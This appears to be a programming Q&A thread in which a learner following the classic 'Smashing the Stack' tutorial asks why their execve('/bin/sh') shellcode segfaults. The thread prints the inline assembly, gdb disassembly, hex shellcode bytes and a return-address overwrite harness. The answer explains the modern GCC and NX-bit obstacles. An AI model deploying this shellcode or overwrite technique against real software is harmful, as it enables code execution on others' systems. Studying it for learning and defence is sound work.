2

I'm currently reading the popular article "Smashing the Stack for fun and profit" by Aleph One but I have a problem. I will try to isolate the problem and present to you only that detail.

Even if I succeded in adapting the first examples for my compiler, I am stucked with the "testsc2.c" example. I will expose that problem briefly. In that example he starts from the following 2 simple programs:

1)

#include stdio.h

void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}

2)

#include stdlib.h

void main() {
        exit(0);
}

After analyzing the "gdb disassemble" of these two programs he writes an assembler program doing what these 2 programs are doing(starting a shell). I adapted that program for my compiler and I obtained: ( it's very interesting the JMP to CALL instruction and after that the CALL to POP instruction in order to find out the address of the string).

shell.c

 void main() {
        __asm__(
                " jmp .+44             ;"
                " popl %esi            ;"
                " movl %esi, 0x8(%esi) ;"
                " movb $0x0, 0x7(%esi) ;"
                " movl $0x0, 0xc(%esi) ;"
                " movl $0xb, %eax      ;"
                " movl %esi, %ebx      ;"
                " leal 0x8(%esi), %ecx ;"
                " leal 0xc(%esi), %edx ;"
                " int  $0x80           ;"
                " movl $0x1, %eax      ;"
                " movl $0x0, %ebx      ;"
                " int  $0x80           ;"
                " call .-42            ;"
                " .string \"/bin/sh\"  ;"

        );
        }

My big problem is that this program gives me a SEG FAULT. Shouldn't have opened a shell ?

The "gdb disassemble for the program is:

0x080483b4 <+0>:    push   %ebp
   0x080483b5 <+1>:     mov    %esp,%ebp
   0x080483b7 <+3>:     jmp    0x80483e3 <main+47>
   0x080483b9 <+5>:     pop    %esi
   0x080483ba <+6>:     mov    %esi,0x8(%esi)
   0x080483bd <+9>:     movb   $0x0,0x7(%esi)
   0x080483c1 <+13>:    movl   $0x0,0xc(%esi)
   0x080483c8 <+20>:    mov    $0xb,%eax
   0x080483cd <+25>:    mov    %esi,%ebx
   0x080483cf <+27>:    lea    0x8(%esi),%ecx
   0x080483d2 <+30>:    lea    0xc(%esi),%edx
   0x080483d5 <+33>:    int    $0x80
   0x080483d7 <+35>:    mov    $0x1,%eax
   0x080483dc <+40>:    mov    $0x0,%ebx
   0x080483e1 <+45>:    int    $0x80
   0x080483e3 <+47>:    call   0x80483b9 <main+5>
   0x080483e8 <+52>:    das
   0x080483e9 <+53>:    bound  %ebp,0x6e(%ecx)
   0x080483ec <+56>:    das
   0x080483ed <+57>:    jae    0x8048457 <__libc_csu_init+87>
   0x080483ef <+59>:    add    %bl,-0x3d(%ebp) 

After that, with gdb I obtain the shellcode:

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x5d\xc3";

The code he obtains(Aleph One in his article) differs from mine only with 2 hexa's (bolded characters) on the last line:

char shellcode[] =
    "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
    "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
    "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
    "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";`
// Difference                            ^^^^^^^^

I am using the next program to start a shell:

char shellcode[] =
    "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
    "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
    "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
    "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x5d\xc3";`


void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}

If I run shell.c I get a SEG FAULT. I think it should have openend a shell. Also if I run the above program with the shell code I get A SEG FAULT. I think there is a problem with the misaligned segments but I'm not sure. I don't know how to debug because I'm a beginner with gdb. Sorry for my long post. Any advice would be greatly appreciated.

Mike Samuel
  • 3,873
  • 17
  • 25
Doru_RO
  • 23
  • 3

1 Answers1

7

First of all, the paper you are reading is more than a decade old and is no longer applicable to modern systems.

The problem you are facing is that in the latest version of GCC, the main no longer "returns" like a normal function, its just exits. If you want a pointer to the return address int *ret; then you need to declare another function, and call this function from main. When this new function attempts to return back to main, it should execute your shell code. (but your shellcode will still not execute because of the NX bit!)

Try reading: Smashing the Stack in 2011, or pick up a copy of "Hacking: The Art of Exploitation, 2nd Edition"

rook
  • 46,916
  • 10
  • 92
  • 181
  • Thank you. I didn't know about the behaviour of main function, and I think I'll stop reading that old article. Still, I have a curiosity: why does shell.c(from the beginning of my post) give me a SEG FAULT ? (gcc -o shell -g -ggdb shell.c @Linux 3.2.0-29-generic-pae i686). – Doru_RO Feb 13 '13 at 22:16
  • @Doru_RO not sure, I would have to step though it with a debugger like GDB. – rook Feb 13 '13 at 22:38
  • 1
    Hacking: The Art of Exploitation is a valuable resource to anyone doing penetration testing/reverse engineering. +1 – NULLZ Feb 14 '13 at 01:19